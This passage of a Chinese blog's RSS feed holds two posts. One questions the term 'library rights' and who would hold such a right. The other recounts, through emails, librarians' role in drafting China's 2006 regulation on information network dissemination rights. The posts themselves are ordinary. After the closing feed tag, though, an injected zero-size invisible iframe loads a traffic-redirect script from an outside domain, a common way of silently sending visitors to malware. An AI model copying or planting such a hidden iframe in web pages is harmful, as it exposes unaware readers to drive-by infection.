我是从另一个角度在考虑这个问题，既然要表达的事情是存在的，为什么国外没有这个术语？无论是美国还是日本，都不存在任何政治上的禁忌，它们没有必要弯弯绕。 这样的疑问之所以总是来打扰我，是因为王老师的第二个质疑一直萦绕在我心中，挥之不去——图书馆权利的主体是谁？ 我想到，也许我们在使用这个术语的时候，的确降低了它的专业/专指性，因为“权利”一词其实已经规定了它的法律语境，而我们却把它一般化了。 我致电我的远房亲戚——浙大法学院的章剑生教授，他的反应是：“图书馆权利？没听说过！听上去怎么这么别扭！是法学界的人提出来的吗？”我向他解释了图书馆学界提出这个术语的背景，他表示不能认同，任何权利都必须通过个人或机构来实现，不可能有一个行业的权利这一说法。 也许我们可以说“不必在意一个法学教授的别扭”，是啊，向一个教授表示一下不屑是再容易不过的事情了，但这有意义吗？我们面对的何只是一个法学教授，而是一个我们不熟悉的知识体系，无论如何，我做不到让自己不对知识心存敬畏。 我做了一些查询，其实不必要查太多的文献，只需要一两篇法律普及读本就足够了。关于权利和主体的关系，有这样的表述：权利就是主体为追求和维护一定利益的法律活动形式。法律上，权利有四个基本要素：其一，适用主体，在我国法律中，规定适用主体分为个人和组织两大类；其二，适用条件，即什么情况下对主体适用；三是行为，指主体在什么条件下可以从事什么行为，禁止从事什么行为，必须从事什么行为等；四是行为后果，即对符合适用条件的行为的保护和对不符合适用条件行为的制裁。 至此，我已经明白为什么张教授要“别扭”了。 匿名网友在老槐家的留言，提到了“政治权、经济权、文化权”等概念，看起来这些权利与图书馆权利有着某种可以联想的关系，但上述种种权利都有明确的权利主体——公民，除非我们可以确认存在“公民的图书馆权利”，即使有，却不能涵盖我们眼下对“图书馆权利”的所有理解。 那么，图书馆权利能不能特指“图书馆员的权利”呢？当然可以，如果国家对这个职业重视到这个程度，立法的可能性至少在法理上是成立的。但是，这同样不能涵盖我们所要表达的全部！ 我现在有些明白，为什么美国图林不直接来一个《Bill of Library Rights》；日本图林最终选择了“自由”，这显然不是一个简单的有或无的问题，如果我们不正视这个问题，那就说明，我们正在犯那个我反复提到的低级错误——低估他人的智慧。 后天就要到合肥去开今年的教指委会议了，我想用这篇博文与王知津老师做一个交流。尽管我不是这个术语的提出者，也不是这个问题的研究者，但我仍然非常感谢王老师，感谢他的质疑。很长一段时间，我拿不定主意要不要写这一篇博文，是的，我有所顾忌，我不是顾忌学界的朋友们，而是顾忌这样的讨论会不会给初见成效的学术研究和事业变革带来什么负面影响。我们总该承认的事实是，今天的中国图书馆界正在发生可喜的变化！]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;">对于“图书馆权利”，从研究方面说，我只是一个读者与听者；在教学方面，我有所介入——把它引入研究生课堂，作为专题研讨课中的一个专题。在教学中，我更多地立足于这一研究给图书馆学和图书馆事业带来的变化——观念与意识的变化，比如在国家立法过程中冒着炮声隆隆表达职业诉求，在图书馆公共关系危机事件中以专业话语来维护职业话语权和职业尊严，主动地向对咱们爱恨交加的相邻职业集团发出友谊的“忽悠”以图建立一种和谐机制……。由于本人上课有一定的鼓动性，从结果来看，学生对这一研究所产生的积极意义是相当认同的。</span><span id="more-192"></span></p>
<p><span style="font-size: small;">去年杭州会议期间，王知津教授找到我，从“术语规范”的角度对“图书馆权利”提出了质疑。对于这个本人缺乏研究的问题，其实这样的讨论只是把问题摆在了我面前，我除了把我一贯的理解陈述一遍，不能向王老师提供更多有价值的观点/信息。王老师的质疑包括两个方面：一是术语的国际化，二是图书馆权利的主体如何确定？对于第一个问题，我提到了美国的《图书馆权利宣言》，王老师说，小组讨论中，初景利曾用笔记本现场google了，结果是《Library Bill of Rights》，这个结果使王老师对这个术语的国际化表示怀疑。在代表分委会向大会作陈述时，王老师特别提到了学术研究中术语的规范化问题。</span></p>
<p><span style="font-size: small;">我不知道老范请良芝查询的事，会议结束后不久突然接到良芝的E信，告知查询结果。此结果老槐已有<a href="http://oldhuai.bokee.com/5767857.html"><span style="color: #3366ff;">说明</span></a>，此处省略。总之，良芝查询的结果表明，这个术语的确不是一个国际通用术语。</span></p>
<p><span style="font-size: small;">尽管竹帛斋主和雨僧都认为不必受制于“国际通用”，不妨自造，只要<span style="color: #669966;">能表达概念，符合语言规范，精炼明确和固定</span>（雨僧语）即可。前几日与老槐在网上略微讨论此事，老槐坦言不能信服竹帛斋主和雨僧的说法。</span></p>
<p><span style="font-size: small;">我是从另一个角度在考虑这个问题，既然要表达的事情是存在的，为什么国外没有这个术语？无论是美国还是日本，都不存在任何政治上的禁忌，它们没有必要弯弯绕。</span></p>
<p><span style="font-size: small;">这样的疑问之所以总是来打扰我，是因为王老师的第二个质疑一直萦绕在我心中，挥之不去——图书馆权利的主体是谁？</span></p>
<p><span style="font-size: small;">我想到，也许我们在使用这个术语的时候，的确降低了它的专业/专指性，因为“权利”一词其实已经规定了它的法律语境，而我们却把它一般化了。</span></p>
<p><span style="font-size: small;">我致电我的远房亲戚——浙大法学院的章剑生教授，他的反应是：“图书馆权利？没听说过！听上去怎么这么别扭！是法学界的人提出来的吗？”我向他解释了图书馆学界提出这个术语的背景，他表示不能认同，任何权利都必须通过个人或机构来实现，不可能有一个行业的权利这一说法。</span></p>
<p><span style="font-size: small;">也许我们可以说“不必在意一个法学教授的别扭”，是啊，向一个教授表示一下不屑是再容易不过的事情了，但这有意义吗？我们面对的何只是一个法学教授，而是一个我们不熟悉的知识体系，无论如何，我做不到让自己不对知识心存敬畏。</span></p>
<p><span style="font-size: small;">我做了一些查询，其实不必要查太多的文献，只需要一两篇法律普及读本就足够了。关于权利和主体的关系，有这样的表述：<span style="color: #cc9900;">权利就是主体为追求和维护一定利益的法律活动形式。</span>法律上，权利有四个基本要素：<span style="color: #cc9900;">其一，适用主体，在我国法律中，规定适用主体分为个人和组织两大类；其二，适用条件，即什么情况下对主体适用；三是行为，指主体在什么条件下可以从事什么行为，禁止从事什么行为，必须从事什么行为等；四是行为后果，即对符合适用条件的行为的保护和对不符合适用条件行为的制裁。</span></span></p>
<p><span style="font-size: small;">至此，我已经明白为什么张教授要“别扭”了。</span></p>
<p><span style="font-size: small;">匿名网友在老槐家的留言，提到了“政治权、经济权、文化权”等概念，看起来这些权利与图书馆权利有着某种可以联想的关系，但上述种种权利都有明确的权利主体——公民，除非我们可以确认存在“公民的图书馆权利”，即使有，却不能涵盖我们眼下对“图书馆权利”的所有理解。</span></p>
<p><span style="font-size: small;">那么，图书馆权利能不能特指“图书馆员的权利”呢？当然可以，如果国家对这个职业重视到这个程度，立法的可能性至少在法理上是成立的。但是，这同样不能涵盖我们所要表达的全部！</span></p>
<p><span style="font-size: small;">我现在有些明白，为什么美国图林不直接来一个《Bill of Library Rights》；日本图林最终选择了“自由”，这显然不是一个简单的有或无的问题，如果我们不正视这个问题，那就说明，我们正在犯那个我反复提到的低级错误——低估他人的智慧。</span></p>
<p><span style="font-size: small;">后天就要到合肥去开今年的教指委会议了，我想用这篇博文与王知津老师做一个交流。尽管我不是这个术语的提出者，也不是这个问题的研究者，但我仍然非常感谢王老师，感谢他的质疑。很长一段时间，我拿不定主意要不要写这一篇博文，是的，我有所顾忌，我不是顾忌学界的朋友们，而是顾忌这样的讨论会不会给初见成效的学术研究和事业变革带来什么负面影响。我们总该承认的事实是，今天的中国图书馆界正在发生可喜的变化！</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/192.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>见证一段历史</title>
		<link>http://www.mingzhiguwen.net/archives/184.html</link>
		<comments>http://www.mingzhiguwen.net/archives/184.html#comments</comments>
		<pubDate>Sat, 07 Oct 2006 13:55:00 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[图林春秋]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/%e8%a7%81%e8%af%81%e4%b8%80%e6%ae%b5%e5%8e%86%e5%8f%b2.html</guid>
		<description><![CDATA[——图书馆界参与《信息网络传播全保护条例》制订的过程 这几天在家备课，有一门是研究生的“专题研讨”，这门课上起来很累，它要求教师对课程的内容要常备常新，炒冷饭是不行的。这期课计划了一个内容，就是讨论《信息网络传播权保护条例》。在备课的过程中顺便梳理了一下图书馆界参与此次立法的过程。突然觉得有些资料是可以放进博客的，既然是博文，就不怕“个人”化，我大致融合了资料与几封通信的内容，但愿朋友们能看得明白。 ◆ 2004年l1月，国家版权局牵头成立了《信息网络传播权保护条例》起草工作领导小组，2005年初正式启动《条例》的起草工作。 ◆ 2005年1月, 中国图书馆学会哈尔滨新年峰会，决定图书馆界应当参与《条例》的制定工作，向社会反映图书馆职业的诉求。会议决定由图书馆法与知识产权研究委员会负责此项工作的落实。 ◆ 2005年4月，代表图书馆职业诉求的《声明》初稿完成，中国图书馆学会理事长詹福瑞在“世界图书馆与知识产权日”(4月23日)发表讲话，向社会各界披露了《声明》的要点。 ◆ 2005年5月，《声明》经过修订，形成了代表中国图书馆行业立场的三份文件：声明、声明的说明、附录，提交学会秘书处，并开始在业内广泛征求意见。于是，我接到李国新教授的来信： 超平老师，您好！ 著作权声明的征求意见稿已经出笼，发给你，请提意见。有修正处直接改。千万别只提原则性意见，务请落实到文字。 这个稿子是我和肖燕搞出来的，已经有过几次修改。前几天程焕文来北京开会，顺便找了几个人讨论了一下，决定声明由3部分组成：声明、声明的说明、附录。现在的设想是年会期间完成提交常务理事会审议的程序，随即在年会上正式发布。为此年会专门安排了一个发布仪式。 李国新 5/23 ◆ 我于6月2日回复李国新老师： 李老师： 最近因为太忙，您布置给我的作业今天才完成，应该不会耽误事儿吧？ 关于《声明》，我几乎没怎么改动，就是关于网络信息传播的6条“豁免”，我总觉得对4、5两条不太有信心，所以，我倾向于不要，就把它们划掉了。 关于声明的说明，我按照您的要求，在文字上作了一些改动，用红色的字体标出，我认为不合适的就划掉了。 仅供参考。 余再谈。 超平 6-2 ◆ 当天收到李国新老师的回复： 超平老师，您好！ 收到，谢谢。准备6月下旬汇总修改意见，做最后修改。 前几天还收到了你的一位叫牛霄的学生发来的意见。你的开放教学方式已经鞭策学生们关注业内重大问题了。此同学确实在思考问题，上课时好好表扬一下，也许能鞭策出一个新生力量。 李国新 6/2 ◆ 2005年7月在广西桂林召开中国图书馆学会学术年会期间，向学会理事会提交了《声明》审议稿。2005年8月，理事会以通讯审议方式，通过了经过修改的《声明》，并于8月20日正式向社会公布 。 ◆ 其间，国家版权局那边，《信息网络传播全保护条例》（草案）初步形成，2005年6月至8月，图书馆界的代表多次参加了国家版权局召开的(草案)意见征求会议。在桂林年会组织的游漓江的游船上，李国新老师和汤秘组织我们几位参会的代表讨论对《条例》（草案）的意见。 ◆ 《条例》(草案)几经修改后，于2005年9月在国家版权局网站公布，面向社会各界征求意见。 ◆ 中国图书馆学会于2005年10月底提交了对《条例》(草案)的书面修改意见。 ◆ 2005年11月，图书馆界人士继续研究探讨，并通过相关机构和图书馆学会等渠道，向国务院法制办提出了对《条例》(草案)的书面修改意见。 ◆ 11月22日，李国新老师转告我法制日报和中国图书商报分别刊载的两篇文章，集中反映了社会各界对《条例》（草案）的意见，意见最激烈的是出版业和一些作家，其中对有关图书馆豁免权的“四、六”条意见最为激烈。最让我郁闷的是，我在不知情的情况下当了一回“叛徒”。 ◆ 过年了，一切暂时放下。 ◆ 2006年2月，事情又启动了，接国新老师来信，活儿又来了。 超平老师，您好！ 信息网络传播权保护条例的最新征求意见稿出来了，3月7号国务院法制办开会，我去参加。下周初在京的几位要碰一下，看看怎样表达意见。把相关内容传给你，研究一下，有什么看法，尽快通报我。 李国新 2006-02-24 我的回复很情绪化： [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;"> ——图书馆界参与《信息网络传播全保护条例》制订的过程</span></p>
<p><span style="font-size: small;">这几天在家备课，有一门是研究生的“专题研讨”，这门课上起来很累，它要求教师对课程的内容要常备常新，炒冷饭是不行的。这期课计划了一个内容，就是讨论《信息网络传播权保护条例》。在备课的过程中顺便梳理了一下图书馆界参与此次立法的过程。突然觉得有些资料是可以放进博客的，既然是博文，就不怕“个人”化，我大致融合了资料与几封通信的内容，但愿朋友们能看得明白。</span><span id="more-184"></span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆</span> 2004年l1月，国家版权局牵头成立了《信息网络传播权保护条例》起草工作领导小组，2005年初正式启动《条例》的起草工作。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>2005年1月, 中国图书馆学会哈尔滨新年峰会，决定图书馆界应当参与《条例》的制定工作，向社会反映图书馆职业的诉求。会议决定由图书馆法与知识产权研究委员会负责此项工作的落实。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆</span> 2005年4月，代表图书馆职业诉求的《声明》初稿完成，中国图书馆学会理事长詹福瑞在“世界图书馆与知识产权日”(4月23日)发表讲话，向社会各界披露了《声明》的要点。</span></p>
<p><span style="font-size: small;"> <span style="font-size: x-small;">◆ </span>2005年5月，《声明》经过修订，形成了代表中国图书馆行业立场的三份文件：声明、声明的说明、附录，提交学会秘书处，并开始在业内广泛征求意见。于是，我接到李国新教授的来信：</span></p>
<p><span style="font-size: small;"><span style="color: #669900;">超平老师，您好！</span></span></p>
<p><span style="font-size: small;"><span style="color: #669900;">著作权声明的征求意见稿已经出笼，发给你，请提意见。有修正处直接改。千万别只提原则性意见，务请落实到文字。</span></span></p>
<p><span style="font-size: small;"><span style="color: #669900;"> 这个稿子是我和肖燕搞出来的，已经有过几次修改。前几天程焕文来北京开会，顺便找了几个人讨论了一下，决定声明由3部分组成：声明、声明的说明、附录。现在的设想是年会期间完成提交常务理事会审议的程序，随即在年会上正式发布。为此年会专门安排了一个发布仪式。</span></span></p>
<p><span style="font-size: small;"><span style="color: #669900;">李国新 5/23</span></span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>我于6月2日回复李国新老师：</span></p>
<p><span style="color: #669900; font-size: small;">李老师：</span></p>
<p><span style="color: #669900; font-size: small;"> 最近因为太忙，您布置给我的作业今天才完成，应该不会耽误事儿吧？<br />
关于《声明》，我几乎没怎么改动，就是关于网络信息传播的6条“豁免”，我总觉得对4、5两条不太有信心，所以，我倾向于不要，就把它们划掉了。<br />
关于声明的说明，我按照您的要求，在文字上作了一些改动，用红色的字体标出，我认为不合适的就划掉了。</span></p>
<p><span style="color: #669900; font-size: small;"> 仅供参考。</span></p>
<p><span style="color: #669900; font-size: small;"> 余再谈。</span></p>
<p><span style="color: #669900; font-size: small;"> 超平 6-2</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>当天收到李国新老师的回复：</span></p>
<p><span style="color: #669900; font-size: small;">超平老师，您好！</span></p>
<p><span style="color: #669900; font-size: small;">收到，谢谢。准备6月下旬汇总修改意见，做最后修改。<br />
前几天还收到了你的一位叫牛霄的学生发来的意见。你的开放教学方式已经鞭策学生们关注业内重大问题了。此同学确实在思考问题，上课时好好表扬一下，也许能鞭策出一个新生力量。</span></p>
<p><span style="color: #669900; font-size: small;">李国新 6/2</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>2005年7月在广西桂林召开中国图书馆学会学术年会期间，向学会理事会提交了《声明》审议稿。2005年8月，理事会以通讯审议方式，通过了经过修改的《声明》，并于8月20日正式向社会公布 。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ 其</span>间，国家版权局那边，《信息网络传播全保护条例》（草案）初步形成，2005年6月至8月，图书馆界的代表多次参加了国家版权局召开的(草案)意见征求会议。在桂林年会组织的游漓江的游船上，李国新老师和汤秘组织我们几位参会的代表讨论对《条例》（草案）的意见。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>《条例》(草案)几经修改后，于2005年9月在国家版权局网站公布，面向社会各界征求意见。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>中国图书馆学会于2005年10月底提交了对《条例》(草案)的书面修改意见。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>2005年11月，图书馆界人士继续研究探讨，并通过相关机构和图书馆学会等渠道，向国务院法制办提出了对《条例》(草案)的书面修改意见。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>11月22日，李国新老师转告我法制日报和中国图书商报分别刊载的两篇文章，集中反映了社会各界对《条例》（草案）的意见，意见最激烈的是出版业和一些作家，其中对有关图书馆豁免权的“四、六”条意见最为激烈。最让我郁闷的是，我在不知情的情况下当了一回“<a href="http://mzgw.bokee.com/3627931.html"><span style="color: #6666ff;">叛徒</span></a>”。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>过年了，一切暂时放下。</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>2006年2月，事情又启动了，接国新老师来信，活儿又来了。</span></p>
<p><span style="color: #669900; font-size: small;">超平老师，您好！</span></p>
<p><span style="color: #669900; font-size: small;"> 信息网络传播权保护条例的最新征求意见稿出来了，3月7号国务院法制办开会，我去参加。下周初在京的几位要碰一下，看看怎样表达意见。把相关内容传给你，研究一下，有什么看法，尽快通报我。 </span></p>
<p><span style="color: #669900; font-size: small;"> 李国新 2006-02-24</span></p>
<p><span style="font-size: small;">我的回复很情绪化：</span></p>
<p><span style="color: #669900; font-size: small;">李老师</span></p>
<p><span style="color: #669900; font-size: small;"> 好！</span></p>
<p><span style="color: #669900; font-size: small;">修改的条文我看后，心里很郁闷，有当头一棒的感觉，看来“四、六条歼灭战”他们打得不错！</span></p>
<p><span style="color: #669900; font-size: small;"> 第四条所有的变化都不及“数字化作品”这一个限制，也就是说，在“数字化作品”的限制下，其他看起来放松了的限制其实都没有意义。我认为这一条基本废了。 </span></p>
<p><span style="color: #669900; font-size: small;"> 第六条我跟老槐昨天在网上讨论过，我同意老槐的观点，第二款的出现，实际上是把“权力”交给了出版社，我们被他们捏在了手里，试想，我们要怎样才能获得“出版社拒绝出版”的证明，还有怎样界定“脱销”？对于我们来说，操作性已经完全丧失，其余放宽又有什么意义？ </span></p>
<p><span style="color: #669900; font-size: small;"> 他们的歼灭战打得漂亮，还不露声色，的确是高手啊。现在的条款看起来多么漂亮，却暗地里拿住我们的7寸，让我们动弹不了。</span></p>
<p><span style="color: #669900; font-size: small;"> 至此，我已是悲观，正如一开始我就对此事不敢乐观一样。我不知道你还有挣扎的余地没有？不管怎样，你已经尽力了，对得起中国的图书馆事业！</span><span style="color: #669900; font-size: small;"><br />
超平 2-25</span></p>
<p><span style="font-size: small;"><span style="font-size: x-small;">◆ </span>李国新老师当天回复，看来京外的人对最新文本的理解有些出入，距离产生模糊，许多问题，看来还是需要面对面的讨论。</span></p>
<p><span style="color: #669900; font-size: small;"> </span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left"><span style="font-size: 12pt; font-family: 宋体;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900;">超平，您好！</span></span></span></span><span style="font-size: 12pt; font-family: 宋体;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900;"><span> </span></span></span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900;"><span style="font-size: 12pt; font-family: 宋体;"><span> </span></span><span style="font-size: 12pt; font-family: 宋体;">收到一些反馈，对文本的理解差异太大，可能是由于没有看到全文？最新的两个稿子都没有电子版。我突击把两个最新的稿子合成为电子版，认真研究一下，从速反馈。</span></span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left"><span style="font-size: 12pt; font-family: 宋体;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900;"><span> </span></span></span></span></span><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900;"><span style="font-size: 12pt; font-family: 宋体;"><span> </span></span><span style="font-size: 12pt; font-family: 宋体;">李国新<span lang="EN-US"><span> </span>2-25</span></span></span><span style="font-size: 12pt; font-family: 宋体;"><span style="color: #669900;"> </span></span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #000000;"><span style="font-size: x-small;">◆ </span><span style="font-size: small;">很快，李国新老师他们又整理出最新意见文本：</span></span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;">超平，您好！</span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"> 附件是在书面征求意见和28日会议基础上形成的准备提交国务院法制办的意见稿,请研究一下,有什么意见建议,直接修改.</span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;">李国新 2006-3-1</span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="font-size: small;"><span style="font-size: x-small;">◆ </span><span style="color: #000000;">当天，接范并思教授转来的他写给李国新老师的信：</span></span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;">李老师：<br />
这一稿看来变得不小，需要仔细阅读了。<br />
感觉上，第四条似乎有所进步：1）取消了图书馆的“公共”限制，适用所有图书馆；2）取消了“阅览系统”的限制，适用于一切方式的“提供”；3）取消了 “不得提供复制功能”等技术上难于真正办到的限制。但第六条有所收紧，这一限制“已经脱销，但出版者拒绝重印、再版”，几乎限死了本条款的实施可能性。只要在全国甚至国外某处有一本书没有卖掉就不是“脱销”，而出版社的“拒绝重印、再版”不但本身如同“征得同意”一样麻烦，而且难于取证，如，一编辑不同意重印别人数字化了，但社里没说不同意算不算侵权？所以感觉第六条基本废了（只适用表演录音录像类）。<br />
再叙。</span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;">范并思 3-1</span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="font-size: small;"><span style="color: #000000;"><span style="font-size: x-small;">◆ </span>后面的过程，因为不再有学会方面的文字材料，大都是李国新老师他们通过参加会议来表达图书馆界的意见，所以，我们只是观望和等待。</span></span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="font-size: small;"><span style="color: #000000;"><span style="font-size: x-small;">◆ </span>6月，《条例》修改稿形成，图书馆豁免权的“四、六条”跟第一稿相比有了很大的变化，我在博客里发泄了情绪，国新老师写来长信，详细谈了一些细节，令我感动的是，当时他一直在生病，因信太长，全文就不贴在这里了，摘录一段：</span></span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;">图书馆界这次的主要诉求是三项：一是馆内传播的合理使用权，二是馆外传播的法定许可权，三是有限的自行数字化某些馆藏资源的权利。从最终结果看，一和三的目标实现了，二则是通过变通的方式少部分地实现。最终文本图书馆界不满意，出版界、数据开发商同样不满意，大概这就是法律，这就是博弈和制衡的结果。</span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="font-size: small;"><span style="color: #000000;"><span style="font-size: x-small;">◆ </span>7月1日，《信息网络传播权保护条例》正是实施。</span></span></span></span></p>
<p><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="font-size: small;"><span style="color: #000000;"><span style="font-size: x-small;">◆ </span>对于图书馆界在整个过程中行动的意义，李国新老师在给我的信中是这样说的：</span></span></span></span></p>
<p><span style="font-size: 12pt; font-family: 宋体;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="color: #669900;">……感受是图书馆界的呼声和行动确实产生了影响，取得了效果。比如，图书馆界要求的馆外法定许可权未被采纳，出版界、数据开发商力主的禁止临时复制同样未获通过，这里有我们“制衡”的作用。再如，直到最后一刻，第七条规定图书馆可以复制的作品，只限于“濒临损毁”，而且出版界、数字开发商们还力主去掉，认为“濒临损毁”无可操作、可鉴别性。经过图书馆界的反复努力，才修改为目前的样子。</span><span style="color: #669900;"><span style="font-size: 12pt; font-family: 宋体;">还有，</span><span style="font-size: 12pt;" lang="EN-US">4</span><span style="font-size: 12pt; font-family: 宋体;">月中旬，国务院法制办专门就图书馆的问题开了一次专题会议，法制办一位司长说，国家立法为一个具体的问题开专题会议，不敢说绝无仅有，至少也是极为罕见。国务院常务会议审议时，法制办的汇报中也专门谈了图书馆的问题。不知你注意没有，和条例同时发布的国务院法制办负责人答记者问，其中也专门说到了图书馆的问题。凡此种种说明了什么？说明对图书馆界的呼声和行动至少不能再置之不理了。</span></span></span></span></span></p>
<p><span style="font-size: 12pt; font-family: 宋体;"><span style="font-size: 12pt; font-family: 宋体;"><span style="color: #669900; font-size: small;"><span style="color: #669900; font-size: small;"><span style="font-family: Verdana;"><span style="color: #000000;"><span style="font-size: x-small;">◆ </span>这个过程，它值得我们去记住它。</span></span></span></span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/184.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
